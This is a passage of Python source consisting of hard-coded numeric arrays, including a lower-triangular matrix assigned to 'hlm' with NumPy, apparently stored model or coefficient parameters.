0.06618, -0.03297, 0.14023, 0.07732, 0.04191, -0.17787, -0.01733, 0.03688, 0.0172, 0.04947, -0.03508, 0.11446, -0.04872, 0.0804, 0.00587, 0.04258, -0.05605, -0.09242, -0.08885, 0.00073, -0.03073, -0.01057, -0.0077, -0.03311, -0.0388, -0.02544, -0.08164, -0.13855, -0.00979, 0.12694, 0.0342, -0.02756, 0.0275, 0.0242, -0.0631, -0.03272, 0.15233, 0.0617, -0.02979, 0.0, ],
[0.0497, -0.11303, -0.09292, -0.01966, 0.15283, -0.1182, -0.26888, 0.14893, 0.2758, 0.0108, -0.08438, 0.08008, 0.12915, 0.02481, -0.09682, -0.05029, 0.11071, 0.09875, -0.06561, -0.12511, -0.01674, -0.01587, -0.11356, -0.01793, 0.15705, 0.01193, -0.02468, 0.04517, 0.00498, -0.08222, -0.0679, -0.05695, 0.02959, 0.16205, 0.03352, -0.08549, -0.06409, -0.00171, 0.0018, -0.00755, -0.06228, -0.09113, -0.15927, 0.03638, 0.02966, 0.04956, 0.05256, 0.10891, 0.12777, 0.12821, 0.01408, 0.02186, 0.06581, 0.13148, 0.0515, -0.07818, -0.22865, -0.07732, -0.04813, -0.02285, 0.03226, 0.11893, 0.04177, -0.02578, -0.04418, -0.00125, -0.04749, -0.04969, 0.08116, 0.10827, 0.12199, 0.01537, 0.03705, -0.05743, 0.06258, 0.00404, 0.06421, -0.08178, -0.06416, -0.08111, 0.00308, 0.06614, -0.01937, -0.03507, -0.10466, -0.09155, -0.00139, 0.01085, -0.04787, -0.00398, -0.03012, -0.00419, 0.01081, -0.03847, -0.02241, -0.05968, -0.01402, -0.06963, -0.0124, 0.00939, 0.07449, -0.00325, -0.05675, 0.08256, -0.0958, 0.02415, -0.12748, -0.06391, 0.02476, 0.10952, 0.0182, 0.00419, 0.12092, -0.03844, -0.02667, 0.03557, 0.0164, -0.00768, 0.05355, -0.02118, -0.01642, 0.06634, 0.15504, 0.10363, 0.09658, -0.06376, 0.07863, 0.06652, -0.01278, -0.02272, 0.13331, -0.00481, -0.05682, 0.09322, -0.04824, ],
])
hlm = np.array([[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.26751, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.06849, 1.13444, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.29819, -0.92189, -0.38288, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.46565, -0.93302, 0.27265, 0.58741, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.81621, 0.98584, -1.21071, -1.14333, -1.04763, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.75425, 0.0469, 0.03553, 0.74994, 1.30901, 0.22895, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.52618, 0.50458, 0.68283, -0.27157, 0.21041, -0.26751, -0.64529, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.33244, -1.95798, -1.08109, -0.77559, -0.38829, 1.96278, 1.11803, -0.3063, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.89431, 1.76589, 0.85997, 0.24306, -0.15646, -0.33576, -0.85287, 0.27315, -1.01895, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.31029, -0.73417, -1.2369, 0.09755, -0.50794, -1.63209, 0.3747, 0.70937, 0.58931, 0.52507, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.53477, -0.35601, 0.55873, 0.43063, 0.85486, 1.47499, 0.56782, -0.44179, -0.03158, -1.81279, -1.37782, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.23557, -0.83592, -0.41658, -0.8517, -0.91991, -0.425, -0.85838, -0.56984, -0.27286, 1.99416, 1.38788, 1.28311, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.15588, 1.77768, 0.50836, -0.49469, -0.6896, -0.01688, 0.73137, 0.17068, 1.10211, 0.15976, -1.73104, -1.99021, -1.22464, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.40826, -0.45007, -1.24474, 1.35795, 1.21777, -0.28328, -0.57022, 0.13056, -0.08518, 0.40319, 2.65662, 0.64462, 0.38135, 0.0898, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -2.04983, -1.56604, 1.50811, 0.42952, -0.511, -0.34707, 0.94847, 0.74842, -0.40437, 0.37039, 0.16613, 0.13419, -0.08171, -0.90474, 0.37628, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.22943, 0.90371, -0.46603, -1.98953, 0.35366, 1.8549, -0.7502, -1.74265, -1.24532, -2.1772, -2.20103, 0.73652, 0.64268, -0.29219, -0.39227, -3.03862, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.90625, -0.2539, -2.00113, 0.69108, -0.6465, -2.30834, -1.44269, 1.57971, 1.62367, 2.29636, 1.38431, -0.85401, -0.52481, 0.42198, -0.51105, 1.07061, 0.66099, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -2.69632, 0.56302, 1.31783, 1.27763, 0.19899, 0.64517, 2.83176, 0.64469, -0.27944, -1.51448, -0.93534, -0.96631, 0.94375, 0.92349, 0.86614, 0.26307, -1.00354, -1.59046, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.03168, -0.97017, 0.50432, -1.5699, 0.32715, 0.31219, -2.77396, -2.71694, -1.63518, 0.10002, 1.80337, 1.94097, -1.27255, 0.00818, -0.27803, -3.33581, -0.21342, 0.8603, 1.10469, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
